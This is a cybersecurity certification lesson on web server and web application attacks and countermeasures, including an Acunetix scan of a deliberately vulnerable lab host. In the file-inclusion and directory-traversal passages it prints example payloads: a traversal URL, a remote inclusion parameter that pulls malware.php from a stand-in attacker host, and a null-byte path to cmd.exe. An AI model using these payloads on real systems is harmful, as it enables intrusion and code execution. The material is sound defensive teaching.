Section 6.3 Web Server Security

As you study this section, answer the following questions:

• What are the three methods used for distributed denial-of-service (DDoS) attacks?
• What is the difference between cross-site scripting (XSS) and cross-site request forgery (CSRF)?
• Which methods can you use to prevent web service attacks?
• Which web server configurations should you check when performing a vulnerability assessment?

In this section, you will learn to:

• Scan a website with Acunetix
• Evaluate web server security
• Set up a web session hijack
• Exploit cross-site scripting vulnerabilities
• Hijack a web session

The key terms for this section include:

Description of the Table

Description of the Table

Term	Definition
Distributed denial-of-service (DDoS) attacks	Attacks designed to bombard the target with more data than it can handle, causing it to shut down.
Domain Name System (DNS) attacks	Attacks that use DNS to steal data or perform other attacks.
Directory traversal	An attack that can give attackers access to directories and files outside the web server directories.
HTTP response splitting	Attacks that exploit user input fields on a website. When data is submitted in these fields, the HTTP response includes a header and the data. An attacker may append a malicious script between the header and data.
Cross-site scripting (XSS)	An attack that takes advantage of a web application's scripting defects. An attacker alters the XSS to send malicious code to a target.
SQL injection	An attack that targets vulnerabilities, such as non-validated input. The attacker injects malicious code into an existing line of code before sending it through the web application to the database for execution.

This section helps you prepare for the following certification exam objectives:

Exam	Objective
CompTIA CySA+ CS0-003	1.2 Given a scenario, analyze indicators of potentially malicious activity Network-related 1.3 Given a scenario, use appropriate tools or techniques to determine malicious activity Tools Domain Name System (DNS) and Internet Protocol (IP) reputation 2.2 Given a scenario, analyze output from vulnerability assessment tools Tools Network scanning and mapping Web application scanners 2.4 Given a scenario, recommend controls to mitigate attacks and software vulnerabilities Cross-site scripting Overflow vulnerabilities Data poisoning Broken access control Cryptographic failures Injection flaws Cross-site request forgery Directory traversal Security misconfiguration Identification and authentication failures Local file inclusion (LFI)/remote file inclusion (RFI) 2.5 Explain concepts related to vulnerability response, handling, and management Secure coding best practices
TestOut CyberDefense Pro	1.2 Monitor software and systems Analyze executable processes Review web application security

6.3.1 Web Server Attacks

Click one of the buttons to take you to that part of the video.

Web Server Attacks 00:00-00:44 Web servers are incredibly attractive targets for hackers. Websites today store a lot of sensitive data for their users, like credit card information and personally identifiable information, or PII. A web server can also be an entry point to your internal network. Sometimes, an attacker might not even have any reason to target your website other than to just be malicious. No matter the reason, there are quite a few attacks that exist that you should watch out for.

These include distributed denial-of-service attacks, DNS attacks, directory traversal attacks, and HTTP response splitting attacks. In this lesson, I'll go over all of these and how they work.

Distributed Denial-of-Service Attacks 00:44-01:08 One of the more common attacks against web servers is a distributed denial-of-service attack, or DDoS attack. A DDoS attack is designed to essentially bombard a target with more data than it can handle, causing a shutdown.

There are many different methods to pull off a DDoS attack. The three main ones are Application layer attacks, protocol attacks, and amplification attacks.

Application Layer DDoS 01:08-01:32 An Application layer attack's goal is to exhaust the target's resources by overloading a specific program or service. For example, an attacker could send a large amount of HTTP requests to a web server, causing it to have to constantly load a web page. This takes little effort on the attacker's end, but the web server has to work overtime loading images, scripts, and other media.

Protocol DDoS 01:32-01:58 An attacker could also use different protocols, such as TCP flags, to overload our web server. One example of this is a SYN flood. To do this, the attacker sends a bunch of SYN packets with a spoofed IP address. When the target responds with the SYN-ACK packet, it ends up going to the wrong IP address, meaning no response comes back to the target. The target eventually becomes overwhelmed waiting for the response packets to return.

Amplification DDoS 01:58-02:25 An amplification attack consumes the bandwidth between the target and the internet and effectively cuts them off. DNS amplification attacks are a common example of this. In this scenario, an attacker sends a large amount of DNS queries to multiple open DNS servers with the victim's IP address spoofed as the sender's. The DNS servers sends the DNS responses back to the victim, which can quickly overload their system.

DNS Attacks 02:25-02:56 The Domain Name System, or DNS, is the system that translates IP addresses into names, such as a website's URL. For example, when you type in www.testout.com in your browser, it first asks a local DNS server what the matching IP address is so it can properly communicate with it. Aside from a DNS amplification DDoS, attackers also use the DNS to steal data or perform other attacks. One common way is through DNS hijacking.

DNS Hijacking 02:56-03:16 Using a variety of techniques such as phishing, social engineering, or exploiting a vulnerability in the domain name registrar, an attacker can gain access to a site's DNS records. The attacker can then change information to redirect the URL to his or her own website. They could potentially even transfer the entire domain.

On-Path Attacks 03:16-03:33 Another very common attack is an on-path attack. In this attack, the hacker places themselves between a user and a web server to intercept communication. For example, if you send your login information to a website, a hacker could intercept this information and steal your credentials.

DNS Poisoning 03:33-04:08 DNS poisoning is a variant of an on-path attack. When your browser sends a DNS request to a DNS server, the attacker intercepts the request and sends back a malicious response. This is usually to redirect you to a malicious website, such as a phishing site. These attacks get even worse because the response can be stored in the browser's DNS cache. So every time you go back to the site, you're redirected to the malicious site.

DNS is really what makes using the internet so easy. Any attack on the DNS is going to be devastating.

Directory Traversal Attacks 04:08-05:47 Another attack you should know is directory traversal. This attack is usually directed at older servers. The hacker targets directories and executables outside of the web server directories. Ideally, a web server should be a fairly closed environment.

Although the web server has access to servers and other systems on your network, you should restrict those areas to the extent possible. Anyone accessing your web server from the internet should be able to access web pages and other information stored in the root directory, but nothing more. If misconfigurations provide access beyond those root folders, an attacker could do some serious damage.

A directory traversal attack allows an attacker to gain access to restricted areas on a server. You might already know that the "cd ../" command for Linux and the "cd .." command for Windows tell the system to go one directory up in the file system.

For example, if we were currently browsing C:\Root\About\Jobs, we could enter "cd .." and we'd return to C:\Root\About. Like the command line interface, an attacker can use the browser or a vulnerability tool to search for restricted files outside of the root directory. An attacker could guess blindly, or they could use their prior knowledge of the web server's structure to search for a restricted area path. In this diagram, the user should only be able to access the green items in the root directory, including web pages, images, and files. If the system isn't appropriately locked down, they could have access to the red, restricted files.

HTTP Response Splitting Attacks 05:47-06:36 The final attacks we'll look at are HTTP response splitting attacks. These take advantage of vulnerabilities with input validation.

Many sites have the option for a user to type information into an input field. This can be a form submission, address field, or comment box. When the user input is sent to the server, part of the packet includes the HTTP response header.

If these fields aren't configured properly, an attacker could manipulate that HTTP response and inject malicious script in the input fields. Everything will eventually end up being uploaded to the web server.

Cross-site scripting, SQL injection, and cross-site request forgery are all examples of this attack type. With these attacks, hackers can upload malware, deface websites, redirect users, and much more.

Summary 06:36-07:09 That's it for this lesson. In this lesson, we looked at some of the different types of web server attacks. First, we looked at distributed denial-of-service attacks and their variations. Then we looked at DNS attacks, including on-path attacks, or DNS poisoning. We also discussed the directory traversal attack and how it can be used to gain access to restricted areas on your server. We finished up by looking at HTTP response splitting attacks, which take advantage of a web page's input fields.

6.3.2 Web Server Attack Facts

Web servers are desirable targets for hackers. Part of the appeal is that websites can store sensitive data such as credit card information and personally identifiable information. A web server can also be an entry point to the internal network. There are a variety of methods and techniques an attacker can use to attack web servers.

This lesson covers the following topics:

• Distributed denial-of-service (DDoS) attacks
• Domain Name System (DNS) attacks
• Directory traversal
• HTTP response splitting
• File inclusion
• Cookie poisoning

Distributed Denial-of-Service (DDoS) Attacks

One of the more common attacks against web servers is DDoS attacks. This attack is designed to bombard the target with more data than it can handle, causing it to shut down.

There are many methods to pull off a DDoS attack. The following table explains the three main methods used:

Method	Description
Application layer DDoS	An application layer attack aims to exhaust the target’s resources by overloading a specific program or service. For example, an attacker sends many HTTP requests to a web server causing it to repeatedly load a web page, including images, audio, and video. This method takes little effort from the attacker. Still, it will quickly overwhelm the resource as the application or service tries to process requests.
Protocol DDoS	The attacker can also target protocols such as TCP flags to overload network devices such as a firewall. An SYN flood attack is a typical example of this method. It works as follows: The attacker sends many SYN packets with a spoofed IP address. The target responds with the SYN-ACK packet, but the packet goes to the spoofed IP address, so a response never comes. The target opens the connection, awaiting a response to complete the 3-way handshake. Eventually, the target gets overwhelmed waiting for the response packets.
Amplification DDoS	An amplification attack consumes the bandwidth between the target and the internet, effectively cutting the target off. DNS amplification attacks are executed as follows: The attacker sends many DNS queries to multiple open DNS servers with the target's IP address spoofed as the sender. The DNS servers send the DNS responses to the target. The target quickly gets overloaded by the responses.

Domain Name System (DNS) Attacks

DNS is the system that translates IP addresses into names, such as a website’s URL. Attackers often use DNS to steal data or perform other attacks. The following table describes two common DNS attacks that can be carried out against web servers.

Attack	Description
DNS hijacking	To carry out a DNS hijacking attack, the attacker needs to gain access to the DNS records of a website. A variety of techniques can be used to gain access, including: Phishing attacks. Social engineering. Exploiting a vulnerability in the domain name registrar. With access to the DNS records, the attacker can change the record. The changes typically result in URL redirection. This means that when attempting to go to the legitimate site, the user is redirected to the attacker's malicious site. The attacker can also transfer the DNS or perform other malicious activities.
DNS poisoning	DNS poisoning is an on-path attack, also known as a man-in-the-middle attack. The attacker intercepts DNS requests from a browser and sends back a malicious response. The response usually redirects the user to the attacker's malicious site. The DNS response also gets stored in the browser's DNS cache. This means the DNS cache redirects to the malicious site whenever the user enters the website name. On-path attacks occur when a hacker is positioned between two devices and intercepts all communications. For example, suppose a device sends login information to a website. In that case, the hacker can intercept this information and steal those credentials.

Directory Traversal

Directory traversal can give attackers access to directories and files outside the web server directories. A user connecting to a web server accesses files in the website's document root.

If the server is misconfigured, the attacker may be able to use the navigation commands used in a Windows command prompt or Linux terminal to gain access to other directories.

For example, suppose the website files are stored in C:\inetpub\wwwroot\testout. In that case, the attacker may be able to type the following into the web browser to gain access to resources on the server:

http://www.testout.com.br/../../../../ some_dir/ some_file

HTTP Response Splitting

HTTP response splitting attacks exploit user input fields on a website. When data is submitted in these fields, the HTTP response includes a header and the data. An attacker may append a malicious script between the header and data. The script is then sent to the server and executed. These attacks can be used to steal data, upload malware, or other malicious activities.

The following table describes the several types of HTTP response splitting attacks:

Attack	Description
Cross-site scripting (XSS)	A cross-site scripting attack takes advantage of a web application's scripting defects. An attacker alters the XSS to send malicious code to a target. The target's web browser is unaware that the code is malicious and executes the script. The malicious script allows the attacker to access sensitive information such as cookies, session tokens, and private information. Cross-site scripting attacks can be categorized as follows: Stored XSS Attacks - These scripts are stored on the web server. The script is executed on the target's machine whenever the target tries to access the web page. Reflected XSS Attacks - These scripts are reflected off of the web server and run on the victim's machine as follows: A user can be tricked into clicking a link or submitting a specially crafted form to the web server. The script is uploaded to the server and returned to the user. The user's browser executes the attack because it came from a trusted source.
SQL injection	Structured Query Language (SQL) is a language that was explicitly designed to request data from a database. SQL requests are a query (basically a question) asking the database to provide information specific to a request. It is important to note that SQL injections result from flaws in web applications, not the database or the web server. SQL injection attacks target vulnerabilities, such as non-validated input. The attacker injects malicious code into an existing line of code before sending it through the web application to the database for execution. If the injection is successful, the malicious code runs on the database and returns the requested information. Web applications send user credentials to a web server for authentication. SQL injection attacks work as follows. The web server sends the credentials embedded in a command that tells the database to validate the username and password before granting access. If validated, the user is directed to the requested page. The data the user enters is put into the same query as the commands. As a result, this code is susceptible to SQL injection attacks. If the login fields have not been restricted, an attacker can add code in those fields. If the attacker knows the username but not the password, the attacker may be able to enter the username, quotation mark, and double dashes in the username field. It works as follows: The quotation mark indicates that data has ended and a command is beginning. The double dashes indicate that the code is ending and a comment is being entered. Comments are code that a program does not execute and are usually used for explanations or reminders for the coder. Because of the instructions to treat everything after the dashes as comments, the command to verify the username with a given password is in a comment, and the attacker is granted access to the user account.
Cross-site request forgery (CSRF)	CSRF/XSRF is also known as a one-click attack or session riding. CSRF is a malicious exploit in which unauthorized commands are transmitted from the user to a website that currently trusts the user through authentication, cookies, etc. A CSRF attack is almost the opposite of an XSS attack, except CSRF exploits a site's trust in a user's browser.

File Inclusion

In a file inclusion attack, the attacker adds a file to the running process of a web app or website. The file is either constructed to be malicious or manipulated to serve the attacker's malicious purposes. There are two basic types of file inclusion: remote and local.

In remote file inclusion (RFI), the attacker executes a script to inject a remote file into the web app or website. An attacker could, for instance, force a parameter in a web page to call an external malicious link which includes the compromised file. For example, consider a page built in PHP that does not correctly filter arbitrary values added to page parameters. The PHP code consists of a FONT parameter with five options, each with a different font type. The attacker can manipulate this parameter to inject an option that is not one of these five—and not only that, the attacker can point to an external URL that contains a malicious PHP file:

/webpage.php?FONT=http://www.malice.foo/malware.php

In local file inclusion (LFI), the attacker adds a file to the web app or website that already exists on the hosting server. This is often accomplished on servers vulnerable to directory traversal; the attacker navigates through the server's file structure and executes a file. As in the directory traversal example, an attacker could gain control over the server by opening a command prompt. A common tactic used in LFI is introducing a null character (%00 in URL encoding) at the end of the request to bypass security mechanisms that automatically add a .php suffix to the request. This enables the attacker to access non-PHP files:

/webpage.php?FONT=../../Windows/system32/cmd.exe%00

Cookie Poisoning

HTTP is a stateless protocol, meaning the server preserves no information about the client. As most web applications depend on retaining information about clients, various mechanisms have been used to preserve this sort of stateful information. Cookies are one of those methods. A cookie is created when the server sends an HTTP response header with the cookie. Subsequent request headers sent by the client will usually include the cookie. Cookies are either nonpersistent (or session) cookies, in which case they are stored in memory and deleted when the browser instance is closed, or persistent, in which case they are stored in the browser cache until deleted by the user or pass a defined expiration date.

If cookies are used to store confidential information, the web application should encrypt them before sending them to the client. If using SSL, information in a cookie would be secure in transit but reside on the client's computer in plaintext unless separately encrypted.

Cookie poisoning modifies the contents of a cookie after it has been generated and sent by the web service to the client's browser so that the newly modified cookie can be used to exploit vulnerabilities in the web app. To counter cookie poisoning, you should validate the input of your web app to account for tampered-with cookies, encrypt cookies during transmission and storage, and delete cookies from the browser cache when the client terminates the session.

6.3.3 Scan a Website with Acunetix

Click one of the buttons to take you to that part of the video.

Scan a Website with Acunetix 00:00-00:41 When it comes to security for websites and web apps, you can do all sorts of things to protect them. You can use firewalls, use SSL, and block ports and you should. But those basics aren't enough. Today's websites use web forms, shopping carts, and login pages, just to name a few, and many of these features have unknown vulnerabilities. Therefore, it's very important that these web-based applications are scanned to make sure they're secure. There are dozens of programs out there that can scan web applications. Some are open-source, some are free, and others aren't. Most of them do the same general types of scanning. For this demo, we're going to highlight a program called Acunetix.

Set up and Find a Target 00:41-02:16 I'm on a Windows 10 system, and I've already downloaded a trial version of Acunetix. It installs like most Windows programs, but you have to create an account during the installation. I also have a web server running on my network that's intentionally vulnerable for testing, and that's going to my target.

I'll open the program, and I'm going to go ahead and log in. The first thing I'll need to do is to select a target. It's already selected for me, so I'm good. Now, I'll come up here and select Add Target. This dialog pops up, and I can either put in the IP address or the target's URL. I'm going to enter in the IP address of my target, '10.10.10.195/dvwa'. For the Description field, you can leave it blank or put something in. I'll just put in 'Test' and then click on the Add Target button.

Since my DVWA web application requires you to log on to do anything, I'm going to enter the credentials for our target down here. I could do a scan without these, but to get a more accurate test, I want my scanner to have access to the entire site. So, I'll enter in my username, 'admin', and the password.

Another thing we have here is the ability for this program to automatically log into the target during the test. Basically, you go to the target site, record the login, and save it. Then, when Acunetix needs to log in again, it uses this recorded login sequence that you saved. Now, if you get logged off during the test, the program will log you back in.

One other note: during a scan, the program might click a Log Off button. You'll want to tell Acunetix not to click on any of those buttons during the scan.

Once I have all this configured, I can save it and move on.

Scanning Options 02:16-02:42 Once I have this all saved, I can start my scan. To do that, I just click on the Scan button, up here. I can choose the type of scan under Scan Type. I'll choose Full Scan. Next, I can tell it to generate a report. For that, I'm going to pick the OWASP Top 10 2017. Finally, I can scan now, schedule for later, or even have it scan on a recurring basis. I'm just going to scan it now, so I'll click on Create Scan.

Scanning Process and Results 02:42-03:25 My scan has started, and it'll scan all the web pages, forms, and any inputs for vulnerabilities. This will take some time, depending on the size of the website and web applications. I'll pause this demo while the scan is taking place.

All right. My scan is done. Let's click on the Vulnerabilities tab up here. My vulnerabilities are classified from high to just informational. When I click on one of the vulnerabilities, I can read more about it, see the details, and even find suggested fixes for the issue. You can even find links to read more about the vulnerabilities.

Over here, on the right, I can also filter the vulnerabilities by the ones that I'm most interested in. So, for example, if I only want to see the ones marked as High, Medium, Low, or Informational, I can do that.

Scan Report 03:25-03:58 Now let's take a look at the reports. I can click on Reports, and I get a list of all the reports that have been generated from my scans. I only have two, and this one, here, is the one I just completed. I can also generate additional reports from here. So, for example, if I scanned five targets, I can create just one report for that and include it in my penetration testing report.

If I want to download the report, I just scroll over here and select the Download button. I can pick PDF or HTML Format. I'll pick PDF. I'll click on Open, and my report opens up.

Summary 03:58-04:18 That's it for this demo. In this demo, we scanned a web application with Acunetix. We explained some of the features of what the scan will do, what it looks for, and how to view the results. We talked about filtering the results. We ended by looking at some of the reporting options that are available with the program.

6.3.5 Web Application Hacking

Click one of the buttons to take you to that part of the video.

Web Application Hacking 00:00-00:31 Web applications have become a primary method for users to perform online tasks. We use web apps to do things like banking, paying bills, posting to social media, and more. The amount of data that's exchanged through web applications makes them a very attractive target for hackers, though. In this lesson, I'll go over a few of the common web application problems you might be vulnerable to, including: injection attacks, security misconfigurations, and programming errors.

Injection Attacks 00:31-01:28 Injection attacks are one of the main web application security vulnerabilities.

These attacks involve injecting malicious commands into an input string with the goal of modifying a database or altering a website. Injection attacks are quite common and can do some serious damage to data, services, and overall system performance. SQL injection attacks are perhaps the most common type of all.

Structured Query Language, or SQL, is a commonly used database language. Many organizations rely on SQL databases to store user data. For example, when you fill out a form on a web application, that data is uploaded to the server and stored in a database.

Attackers exploit injection flaws by constructing malicious commands and inputting them into the web app's input fields. The malicious code is sent and executed on the server. This can cause data loss, data theft, unauthorized access, or other malicious results.

Security Misconfigurations 01:28-02:35 Web app security misconfigurations are another major cause of security vulnerabilities. Some common misconfigurations include poor authentication mechanism implementation, data mishandling, and broken access controls.

When a user connects to a web application, he or she typically sends a username and password to authenticate themselves. Usernames and passwords can be cracked fairly easily if not handled properly. For example, you've probably forgotten your password at some point and had to reset it. Hopefully, you were asked for some additional verification, maybe in the form of an old password, a security question, a text, or an email. If these extra validation steps aren't put in place, an attacker could easily reset your passwords and gain access to your accounts.

Attackers also try to exploit the error messages that appear on websites. For example, if you type in the wrong password and the error message states that the password is incorrect, you've just informed the attacker that the username is correct. Attackers pay attention to these messages to help find information they can use to exploit your system.

Session Hijacking 02:35-04:27 A session is created once authentication takes place. The session assigns session IDs, encryption, and permissions to a specific client for a period of time. Ideally, an app should remove that information once the session closes out. Unfortunately, if the web app isn't configured properly, the session might not close. An attacker could intercept the session ID and take over the current session. This means the

attacker is now logged into the user's account without ever knowing the username and password. This attack type is called session hijacking.

Another thing to be aware of is that a web application generates cookies to store activity and preferences once a user logs on. Cookies contain several parameters, including the cookie's name, value, expiration date, the related URL, and the related domain. In addition to accessing valid cookies to gather information, an attacker can also use malicious cookies to track and store online activity.

You also need to make sure that authenticated users only have access to what they need. Broken access controls refer to improperly configured authentication. Attackers can take advantage of this to gain access to files and other resources.

For an attacker to exploit many of these vulnerabilities, they need to somehow get the session ID, cookies, or other related data. A common method to do this is to perform an on-path attack, otherwise referred to as a man-in-the-middle attack. In this attack, the hacker places themselves between a user and the web server to intercept any communication. For example, if you send your login information to a website, the hacker could intercept that information and steal your credentials.

As a security analyst, you should constantly be checking security configurations to ensure that everything is set up properly.

Programming Errors 04:27-05:44 Most web applications are just scripts that run in the web browser, meaning that someone had to program these apps. Simple mistakes in the code can lead to severe security vulnerabilities.

A cross-site scripting attack, or XSS attack, is a dangerous system injection whose cause is usually carelessness during programming. Cross-site scripting attacks exploit web application vulnerabilities and allow an attacker to compromise a user's app interactions. There's a few different methods that an attacker might use to carry out a cross-site scripting attack, but the end results are the same.

Cross-site scripting attacks are basically just when hackers insert malicious code into a website. When a user then accesses the website, the code is run on their computer. Attackers often use XSS attacks to gather session IDs, which they use later to perform session hijacking. We also see these attacks used for keylogging, data theft, passwords cracking, and more.

Many web applications integrate and rely on third-party add-ons to get the full functionality they want. Unfortunately, many of these add-ons are hastily programmed and contain their own vulnerabilities. When this happens, an attacker can exploit these third-party programs to run attacks against the underlying web app.

Summary 05:44-06:26 That's it for this lesson. In this lesson, we looked at some of the more common web application attack types. First, we looked at injection attacks, which occur when an attacker is able to insert malicious code into a website and upload it to the sever. Then we looked at some of the more common security misconfigurations that can lead to web application vulnerabilities. These misconfigurations have the potential to cause all sorts of problems, such as session hijacking. Finally, we looked at how

programming errors expose you to attacks, such as cross-site scripting attacks, and how implementing third-party add-ons can also cause vulnerabilities in your system.

6.3.6 Web Application Hacking Facts

Web applications provide an interface between the website and the database. These applications have become a primary method for many users to perform online banking, social media, and more tasks. Hackers frequently target web applications because more effort is typically put into securing the web servers and the database than the web applications themselves. An attacker who is patient and strategic has a good chance of finding at least some of what they seek.

This lesson covers the following topics:

• Injection attacks
• Security misconfigurations
• Programming errors
• Server-Side Request Forgery (SSRF)
• Data poisoning

Injection Attacks

Injection attacks are a more common and dangerous vulnerability for web applications. These attacks involve injecting malicious commands into an input string to modify a database or a website. SQL injection attacks are perhaps the most common type of injection attack.

Many organizations rely on databases to store user data. Structure Query Language (SQL) is the most used database language. Attackers exploit injection flaws by constructing malicious SQL commands and injecting those in a website's input fields. The malicious code is sent and executed on the server. These attacks can result in data loss and theft or unauthorized access.

Security Misconfigurations

Misconfigured security settings in web applications are another major cause of vulnerabilities. The following subsections describe some common misconfigurations.

Authentication mechanisms

If authentication systems are not correctly configured, attackers can crack them reasonably easily.

• Users typically authenticate a web application by sending a username and password. Two-factor authentication or requiring users to answer multiple questions to reset their password should be implemented.

• Error messages in the web application can be a vulnerability. If a wrong password is typed in and a message such as "The password you have entered is incorrect" is displayed, the attacker can assume that the username is correct. Error messages like this should be general and not specific.

• When a user authenticates to the web application, a session is created. The following components are created for each session:

  • Session ID
  • Encryption
  • Permissions

  When the session ends, this information should be removed. Improper configuration can lead to an attacker intercepting the session ID and taking over the current session. This is known as session hijacking.

• Cookies are also used to enhance a user's experience with the web application. Cookies are locally stored files that keep track of user preferences and web activities. Cookies contain the following information:

  • Name
  • Value
  • Expiration date
  • Related URL
  • Related domain

  In addition to accessing valid cookies to gather information, an attacker can also use malicious cookies to track and store online activity.

To exploit many vulnerabilities, the attacker must obtain specific data, such as the session ID or cookie files. A common method attackers use to gain this data is the on-path attack. On-path attacks involve the hacker placing themselves between a user and the webserver to intercept any communication. The on-path attack was previously known as a man-in-the-middle or man-in-the-browser attack.

Data mishandling

Web applications gather sensitive data, including health information, credit cards, and personally identifiable information (PII). Web applications should be designed to protect this information. Some best practices include:

• Using appropriate encryption methods.
• Only sending data between authenticated hosts.
• Avoiding hardcoded credentials in a web application.
• Controlling the use of cached data on the server and client. This includes disabling autocomplete features, temporary files, and cookies.

Broken access control

Broken access control is a common vulnerability that can have severe consequences. It is a type of security vulnerability that occurs when a system fails to restrict or limit access to authorized users appropriately. This vulnerability allows unauthorized users to gain access to sensitive or confidential information, modify or delete data, or perform other unauthorized actions.

When these access control mechanisms are not implemented correctly or can be bypassed, attackers may be able to exploit the application and gain unauthorized access to the application's configuration, the data it has access to, or the systems it accesses as part of its operation but unseen to nonadministrative users. For example, if an attacker guesses or steals an authorized user's credentials or the system allows for direct object references, they can modify a URL (or other references) to specify a resource they cannot access.

Programming Errors

Simple mistakes in the programming of web applications can lead to severe vulnerabilities that an attacker can exploit. Cross-site scripting (XSS) attacks are one of the more dangerous vulnerabilities caused by programming errors. XSS attacks exploit web application vulnerabilities and allow attackers to compromise users' interactions with the app. In these attacks, the hacker inserts malicious code into a website. When a user accesses the infected site, the computer runs the code. XSS attacks can gather session IDs, steal data, crack passwords, and keylogging. Many web applications integrate and rely on third-party add-ons to get the full functionality they want. Unfortunately, many of these add-ons may not have been appropriately programmed or will contain their own vulnerabilities. An attacker can exploit these third-party programs to run attacks against the web application.

Server-Side Request Forgery (SSRF)

Server-side request forgery (SSRF) describes a type of web application security vulnerability that occurs when an attacker can send unauthorized requests from a vulnerable web application to other internal or external systems to gain unauthorized access. SSRF typically involves an attacker exploiting the web application's ability to send HTTP requests to other systems, which are then abused to instruct "hidden" internal or external systems to provide the attacker access to protected features or steal information.

The attack works by manipulating the input of a vulnerable web application to cause it to send an HTTP request to a server of the attacker's choice. The attacker can use this ability to perform a range of malicious activities, such as stealing sensitive data, launching attacks against other systems, or taking control of vulnerable systems.

A well-documented example of SSRF occurred in the 2019 CaptialOne breach. https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/

Some common techniques used to exploit SSRF vulnerabilities include the following:

• An attacker uses SSRF to access internal resources on a network, such as databases or file systems, that should be inaccessible directly from the internet.
• An attacker can use SSRF to access other web applications to steal data or launch attacks against other systems.
• An attacker can use SSRF to scan the internal network for open ports or other vulnerable services, which are used to launch further attacks.

Data Poisoning

Data poisoning is an attack that involves deliberately manipulating or corrupting data used in machine learning (ML) models or artificial intelligence (AI) systems. The malicious data is entered into the training data set normally used to create or improve an ML model. They may introduce subtle changes to the data to change the outcome of the ML model in specific ways. The attacker aims to undermine the accuracy and reliability of the data set to influence the performance of the ML model, potentially causing it to produce incorrect or biased results when used in real-world applications.

Data poisoning attacks can be challenging to detect and prevent, as they generally require very few changes to the data. The effects may only appear once the ML model is used in a real-world application.

Examples of data poisoning include:

• Amazon Rekognition System - Researchers demonstrated a data poisoning attack on Amazon's Rekognition facial recognition system by subtly changing a small percentage of the images used to train the system. They were able to cause the system to misidentify individuals in real-world scenarios.
• Google Maps - Researchers showed that by submitting many fake edits to Google Maps, they could manipulate the search results for a particular location. By making small changes to the location's data, such as changing its name or address, they could push it higher up in search results or even make it disappear altogether.
• Spam Filters - Researchers showed that inserting specific words into legitimate emails could bypass the spam filters used by popular email services like Gmail and Outlook. By doing so, they could send spam emails that would appear in users' inboxes without being flagged as spam.

6.3.7 Web Application Countermeasures

Click one of the buttons to take you to that part of the video.

Web Application Countermeasures 00:00-00:33 We use web applications every day for many different tasks. We use these apps to access our bank accounts, social media, and more. This makes these apps and the data they contain an extremely valuable target for hackers. As a security analyst, you must know how to keep these applications and their data secure from attackers.

In this lesson, I'm going to go over web application countermeasures. These include input validation, proper system configuration, and implementing best programming practices.

Input Validation 00:33-01:57 Improper input validation is one of the biggest web application vulnerabilities. Input validation errors can lead to injection attacks, cross-site scripting attacks, and others. Input validation simply means that when a user types data into a field on the web app, it checks that the data is in a format that can be properly handled.

For example, if you have a field where a user can enter their name, you shouldn't allow numbers and symbols. If anything except for letters are entered, the system should stop that data from being sent.

Input validation is only the first step. You should also ensure that you have a firewall configured to filter packets and prevent any external ICMP packets from accessing the server. This helps prevent banner grabbing and discovering open ports. The server itself needs to be secured by closing any unused ports and should only have the necessary services running. You should also verify that the appropriate patches and updates have been installed. Remember that regular vulnerability testing should also take place. And then, even though some input validation has already occurred, you want to double-check the user input's integrity by filtering it again before it's sent to the application. Make sure that any database access is done using non-privileged accounts with lowest necessary permissions.

Implementing proper input validation and server security is the first step in protecting web applications and their data. But you need to make sure that everything else is properly configured as well.

System Configuration 01:57-05:00 Many web application attacks are the result of improper configuration, so it's important to take the time to scour your settings to seek out any vulnerabilities that a potential hacker might be able to exploit. Again, constant vulnerability assessments on your systems are very important.

Start by first performing vulnerability assessments on the web server itself. You can do this by using scanners and reviewing web server content, configuration files, and log files. You should also test for hidden file extensions and check for the location of old backup and configuration files. Finally, perform file and directory enumeration to locate administrative interfaces that could be used to gain access to administrative-level permissions.

You should perform authentication testing on a regular basis as well. A great place to start is to test the reset password option, since social engineering or simple guessing could provide the answers to a user's secret questions. You should also check the password error or lockout feature. For example, what happens when you enter the wrong password several times? Does the system lock up? Do you get an error message? Does the error message give more information than it should? Applications should be

configured to provide a generic response, something along the lines of invalid username or password. This way, you won't be giving an attacker too much information.

Session management configurations should also be checked. This includes such things as testing for cookie attributes to make sure they're encrypted and not just open for everyone to see. You should also test for session fixation. This test verifies that a session closes after you've logged out or after you've been idle for a long time. You also need to check for any exposed session variables to see how much data is left in the browser cache after the session has closed out. Finally, you need to check for any cross-site forgery request vulnerabilities.

Cookies are an important part of a web application and are primarily used for authentication and maintaining sessions. As such, you want to familiarize yourself with how they work and how they can best be secured. You can set cookie attributes to make them safer to use. For example, the Secure attribute ensures that cookies are only sent over HTTPS, which is a secure connection. The Domain attribute specifies the domain for which the cookie is valid, while the Path attribute specifies the cookie's valid URL path.

The HTTPOnly attribute allows a cookie to be accessed by HTTP but no other client-side scripts, like JavaScript. This prevents cross-site scripting attacks from stealing the cookies with the help of client-side scripting languages. Finally, the Expires attribute ensures that the cookie is deleted once it has expired. Proper cookie handling helps you prevent session hijacking attacks, which can be very dangerous.

Unfortunately, you can't just configure your systems and forget them. Instead, you need to be constantly re-checking their settings and making sure that nothing has been accidentally or maliciously changed. Since new vulnerabilities are always being discovered, you need to make sure your systems are secure by staying current on newly discovered attack methods.

Programming Practices 05:00-06:16 Even though as a security analyst, you might not have much to do with an application's programming and design, you should still be aware of proper programming practices so you can look out for vulnerabilities and how to protect against them. You should first be able to determine which language your web applications were written in. Were they written in Java, Python, C++, or another language? Each of these languages have their own vulnerabilities you should be aware of.

For example, many programs and operating systems are written in C++, which used the strcpy command. Even though this command isn't around anymore, some older programs might still have it. This is important because attackers can exploit this command to continue to copy strings, causing an overflow attack on the systems. Likewise, many web applications are designed using Java. Attackers might be able to exploit input validation errors using Java code to execute cross-site scripting attacks, or XSS attacks.

Some of the basic steps you can take to prevent these attacks are: stay up to date on the latest exploits; perform vulnerability assessments; utilize data encryption so important data is never transmitted in cleartext; and use the latest high-level languages, such as Python and Java, to develop programs when possible.

Summary 06:16-06:44 That's it for this lesson. In this lesson, we looked at some steps you can take to properly secure your web applications and networks. First, we looked at how to test for and secure input validation errors. Then we reviewed some common system configuration errors that can lead to massive vulnerabilities. And finally, we looked at some essential best programming practices we can implement as security specialists.

6.3.8 Web Application Countermeasure Facts

Web applications capture, store, process, and transmit data. Significant damage can occur when an attack breaches web application security. A security analyst needs to keep web applications and their data secure.

This lesson covers the following topics:

• Web application attack countermeasures
• System configurations
• Programming practices

Web Application Attack Countermeasures

Basic countermeasures to a web application attack include:

• Perform input validation on all data entered into the application. Make sure that the application verifies that the user data is properly formatted and can be handled. For example, data entered in a name field does not allow numbers and symbols.
• Implement a firewall to filter packets and deny external ICMP traffic access.
• Configure all security features and turn off all ports and services that are not being used.
• Scan for the most up-to-date security vulnerabilities and ensure the appropriate patches and updates have been implemented.
• Filter user input to double-check the integrity before it is sent to the application.
• Use non-privileged accounts with only the necessary permissions to access the database.
